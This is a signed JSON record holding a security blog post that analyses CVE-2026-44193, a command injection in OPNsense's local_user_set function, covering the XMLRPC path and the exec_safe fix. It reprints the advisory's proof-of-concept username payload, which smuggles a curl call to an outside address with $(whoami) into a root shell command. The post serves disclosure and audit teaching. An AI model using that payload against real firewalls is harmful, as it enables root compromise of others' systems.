-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## The vulnerable line escapes one argument of seven\n\nHere is the function the GHSA names, exactly as it shipped in OPNsense core 26.1.6 and earlier. The file is `src/etc/inc/auth.inc`, the function is `local_user_set`, the shell call is the second of two `popen()` invocations in its body:\n\n```php\nif ($user_op != null) {\n    $cmd = \"/usr/sbin/pw {$user_op} -q -u {$user_uid} -n {$user_name}\" .\n      \" -g {$user_group} -s {$user_shell} -d {$user_home}\" .\n      \" -c \" . escapeshellarg($comment) . \" -H 0 2>&1\";\n    $fd = popen($cmd, 'w');\n    fwrite($fd, $user_pass);\n    pclose($fd);\n}\n```\n\nSeven dynamic substitutions land in a single shell command line. `$user_op`, `$user_uid`, `$user_name`, `$user_group`, `$user_shell`, `$user_home`, `$comment`. Six interpolate raw. The seventh, `$comment`, is wrapped in `escapeshellarg()`. The wrapper is the developer's testimony. They understood that user-controlled strings reach `/bin/sh -c` through PHP's `popen()`. They reached for the standard PHP escape function and applied it.\n\nThey applied it to the field they thought needed it. They applied it to one field of seven.\n\nThe function prepares the `$comment` value with a second layer of mitigation before the `escapeshellarg()` even runs:\n\n```php\n$user_name = $user['name'];\n$user_uid = $user['uid'];\n$comment = str_replace([':', '!', '@'], ' ', $user['descr']);\n```\n\nThe `$comment` value receives a `str_replace` for colon, exclamation, and at-sign before it reaches the escape wrap. Two layers on one field, because the field is free-form text and free-form text might contain shell metacharacters. Zero layers on the username. The username is an identifier and identifiers \"don't have weird characters.\" The shell does not care which arguments the developer thinks are structured.\n\n## The advisory's payload is a username\n\nKchigo, credited in [GHSA-xxp9-93cr-x54p](https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p), submitted this payload as the `name` field of a synchronised user record:\n\n```\n<name>kch2;curl 192.168.236.1:8000/$(whoami);#</name>\n```\n\nThe username goes into the shell line as-is. The full command, with the payload substituted, expands to:\n\n```\n/usr/sbin/pw useradd -m -k /usr/share/skel -o -q -u 2000 -n kch2;curl 192.168.236.1:8000/$(whoami);# -g nobody -s /usr/sbin/nologin -d /home/kch2 -c '' -H 0 2>&1\n```\n\n`/bin/sh -c` sees two commands separated by `;`. The first invokes `pw` with a truncated argument list. The second invokes `curl` to a chosen address, with `$(whoami)` substituting in the output of `whoami`. The `#` comments out the rest of the line so the residual `-g`, `-s`, `-d`, `-c`, `-H` flags do not produce a parse error. `popen($cmd, 'w')` shells out by default. The `pw` process runs as root because `local_user_set()` is invoked from `local_sync_accounts()`, which is invoked from system bootstrap and from XMLRPC sync handlers. The `curl` and the `$(whoami)` run as root for the same reason.\n\n## The path from XMLRPC to local_user_set\n\nThe CVE record names the entry method as `opnsense.restore_config_section`. The handler lives in `src/etc/inc/xmlrpc/legacy.inc`:\n\n```php\nfunction restore_config_section_xmlrpc($new_config)\n{\n    global $config;\n    OPNsense\\Core\\Config::getInstance()->lock();\n    require_once(\"interfaces.inc\");\n    require_once(\"filter.inc\");\n\n    $old_config = $config;\n    // ... virtual-ip backup bookkeeping ...\n    merge_config_attributes($new_config, $config);\n    // ...\n    write_config(sprintf('Merged %s config sections from XMLRPC client.', $mergedkeys));\n```\n\n`merge_config_attributes` writes the caller's XML payload into the live `$config` array. Whatever the XMLRPC client sent into `$new_config['system']['user']` becomes `$config['system']['user']`. No schema validation. No name regex. No allow-list of metacharacters. The XMLRPC sync path was built to copy a peer's running config into the local one for High Availability replication; the form-layer username validators in the OPNsense web UI never run on this path.\n\nLater, `local_sync_accounts()` reconciles `pw` with the new config:\n\n```php\nforeach ($config['system']['user'] as $user) {\n    $userattrs = !empty($current_data['user'][$user['uid']]) ? $current_data['user'][$user['uid']] : [];\n    local_user_set($user, false, $userattrs);\n}\n```\n\nEach user record in the freshly-merged config is passed to `local_user_set()`. The function reads `$user['name']` straight into `$user_name`, which is the bytes the XMLRPC caller chose. The command runs.\n\nThe advisory's CVSS vector is `AV:N/AC:L/PR:H`. The \"high privileges\" precondition is satisfied by any operator account holding the \"XMLRPC Library\" privilege. In a normal OPNsense HA deployment that is the synchronisation peer account. In a normal config-import workflow that is the administrator who can upload a config XML. The named victim role is the OPNsense administrator who provisioned an XMLRPC sync account for a second firewall and assumed the destination would treat the synced bytes as configuration rather than as commands.\n\n## The safe helper sits in the same file\n\nThe OPNsense codebase has a shell-safety abstraction. `exec_safe()` lives in `src/etc/inc/util.inc` and delegates to `OPNsense\\Core\\Shell::exec_safe()`:\n\n```php\npublic static function exec_safe($format, $args = [])\n{\n    // ...\n    $_command = preg_replace_callback('/%./', function ($matches) use (&$args) {\n        if ($matches[0] === '%%') {\n            return '%';\n        } elseif ($matches[0] !== '%s') {\n            throw new \\TypeError('exec_safe(): Unsupported formatter');\n        }\n        if (!count($args)) {\n            throw new \\TypeError('exec_safe(): Missing arguments');\n        }\n        return escapeshellarg(array_shift($args) ?? '');\n    }, implode(' ', $format));\n```\n\nEvery `%s` is `escapeshellarg`'d. The helper does not let the caller decide which arguments need escaping. There is one rule for every substitution and the rule is the same rule the manual concat tried to imitate on the comment field.\n\n`auth.inc` uses `exec_safe`-family helpers in five places outside the bug. The conformant calls are these:\n\n```php\n// auth.inc:244\nforeach (shell_safe('/usr/sbin/pw %s -a', $command, true) as $record) { ... }\n\n// auth.inc:283\nmwexecf('/usr/sbin/pw userdel -n %s', $object[0]);\n\n// auth.inc:285\nmwexecf('/usr/sbin/pw groupdel -g %s', $object[2]);\n\n// auth.inc:472\nforeach (shell_safe('/usr/sbin/pw usershow -a', [], true) as $line) { ... }\n\n// auth.inc:534\nmwexecf('/usr/sbin/pw group%s %s -g %s -M %s', [ ... ]);\n```\n\nThe function sixty-five lines above the bug calls `shell_safe('/usr/sbin/pw %s -a', $command, true)`. The function twenty-five lines above the bug calls `mwexecf('/usr/sbin/pw userdel -n %s', $object[0])`. The same file. The same `/usr/sbin/pw` binary. The discipline existed. It was a function call away. `local_user_set` did not use it.\n\nThe post-patch line replaces the manual concat with `exec_safe()`:\n\n```php\n$user_frmt[] = '-q -u %s -n %s -g %s -s %s -d %s -c %s -H 0 2>&1';\n$fd = popen(exec_safe($user_frmt,\n    [$user_op, $user_uid, $user_name, $user_group, $user_shell, $user_home, $comment]\n), 'w');\n```\n\nSeven `%s`. Seven arguments. The helper applies `escapeshellarg` to all of them. No discretion left to the caller, because discretion was the bug.\n\n## The maintainer says the sweep walked past this\n\nThe merge commit, by Franco Fichtner on 30 April 2026, is six lines of commit message and fifteen lines of diff. The message reads in full:\n\n> Shell code execution safety has been widely covered in previous releases but two `popen()` calls have eluded that previous scope. The code is a bit overloaded for historic reasons and trusts the `config.xml` content, but it can be manipulated with admin-level access rights through either config import or XMLRPC sync to contain shell injection which lands on the system unquoted. Fix this by splitting up composite variable `$user_op` and quoting every dynamic argument to make sure there is no vector left to inject a command.\n>\n> PR: GHSA-xxp9-93cr-x54p\n\nA previous scope. Two `popen()` calls eluded it. The sweep was not careless. It was the kind of sweep that greps a codebase for raw `popen()` invocations against unquoted dollar substitutions, walks each one, asks \"does this line have a sanitization call.\" This line did. The sanitization call was on the wrong argument. The audit did not check which argument.\n\nThe second `popen()` call the commit references is six lines above the first. From the same diff:\n\n```diff\n-            $fd = popen(\"/usr/sbin/pw usershow -n {$user_name}\", 'r');\n+            $fd = popen(exec_safe('/usr/sbin/pw usershow -n %s', $user_name), 'r');\n```\n\nThat `usershow` call had no `escapeshellarg` at all. The same `$user_name`, raw, into the same shell. It is in the same function as the advertised bug, fixed in the same commit, and the advisory does not mention it. The maintainer's \"two `popen()` calls\" phrasing is the only place the second one is acknowledged on the public record.\n\n## Sanitized the secrets, not the sink\n\nThis is the [sanitized-the-secrets-not-the-sink](/patterns/sanitized-the-secrets-not-the-sink) shape. The developer applied mitigation logic to the field they perceived as security-sensitive, the free-form GECOS comment, and omitted it on fields that flow into the same dangerous interpreter. The presence of `escapeshellarg($comment)` in the same expression as the unsanitized `$user_name` is the proof. The author understood shell injection as a category, named the helper, called the helper, applied it to the argument they thought needed it. The discrimination was made by what the field contains, not by where the field goes.\n\nThe pattern has been [exhibited before](/posts/asustor-vpn-escapes-credentials-not-server) in ASUSTOR's `vpn.cgi`, where the developer escaped the username and password they perceived as credentials and left the server-address field raw on the same line into `pppd`'s pty handler. All three flowed into `/bin/sh -c`. The OPNsense exhibit completes the picture from the opposite side of the sensitivity axis: the field they escaped was the unstructured comment, and the fields they left raw were the \"structured\" identifiers, the uid, the username, the group, the shell path, the home path. The destination did not care which axis the author used.\n\n## A design-debt driver in two functions\n\nThe merge commit is also the [design-debt driver](/patterns/design-debt-driver) naming itself. Two `popen()` calls in one function survived multiple prior shell-safety sweeps because the line that contained the worst of them already contained an `escapeshellarg` call. The audit's signal that a line was sanitised was the presence of the function; the audit did not parse the argument list to check which substitution it was wrapping. The composite shape, manual `popen()` plus partial `escapeshellarg`, is grep-indistinguishable from a fully-sanitised line. The driver is the asymmetry: a codebase that ships a safe helper (`exec_safe`, `shell_safe`, `mwexecf`) and uses it correctly in some functions while letting other functions compose shell commands by hand. As long as both shapes coexist in the same file under the same eye, the next sweep will pass over the next function whose manual concat happens to include a sanitization call on the wrong argument. The sweep saw `escapeshellarg`. The sweep moved on.\n\n## Where it goes from here\n\nCVE-2026-44193 is one fix in one function. Two `popen()` calls. Five `%s` substitutions newly wrapped. The merge landed on 30 April 2026 in 26.1.7. Operators running 26.1.6 with HA replication peers or with config-import privileges granted beyond root should treat the XMLRPC sync peer credential and the config-import role as root-equivalent until they have upgraded.\n\nThe longer-running consequence is the audit method. A codebase that mixes manual `popen()` plus `escapeshellarg` lines with helper-wrapped calls produces lines that are indistinguishable from each other at grep time. Any sweep that whitelists \"has `escapeshellarg` somewhere on the line\" will keep missing this shape. The OPNsense maintainer team has the helper. The fix shows they know which way to migrate. The bug is what remains in any function still composing shell commands by hand under the same eye that wrote the safe wrapper.\n\nPoC: the advisory at [opnsense/core GHSA-xxp9-93cr-x54p](https://github.com/opnsense/core/security/advisories/GHSA-xxp9-93cr-x54p) ships the username payload above. The merge commit is [`3b6f357`](https://github.com/opnsense/core/commit/3b6f357e26a38079313b926b5a5d2b7171717d54).","closing_line":"The patch quotes seven arguments. The next sweep will pass over any line that still quotes one.","hook_md":"The patch for CVE-2026-44193 changes one `popen()` call in OPNsense's `src/etc/inc/auth.inc`. The pre-patch line already contains an `escapeshellarg()` invocation. The fix replaces the manual string with a wrapper named `exec_safe()` that lives in `src/etc/inc/util.inc` and is used correctly in five other places in the same file. The OPNsense maintainer's commit message names the failure mode in one sentence: \"Shell code execution safety has been widely covered in previous releases but two `popen()` calls have eluded that previous scope.\" The sweep saw `escapeshellarg`. The sweep moved on.","post_id":299,"slug":"opnsense-cve-2026-44193-escapeshellarg-was-the-camouflage","title":"CVE-2026-44193: `escapeshellarg` Was the Camouflage","type":"initial","unreadable_sentence":"The sweep saw `escapeshellarg`. The sweep moved on."}
-----BEGIN PGP SIGNATURE-----

iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCavYdFQAKCRDeZjl4jgkQ
Jua0AQDVgx9YfJKeB4Z3Pf69/PzQNar3twtm1SXGRZw0AFrZUgD/YYrQq2PMsqoX
sPSV2uj0CRewwXhtkxvgC4JsJzG/BQM=
=LV8G
-----END PGP SIGNATURE-----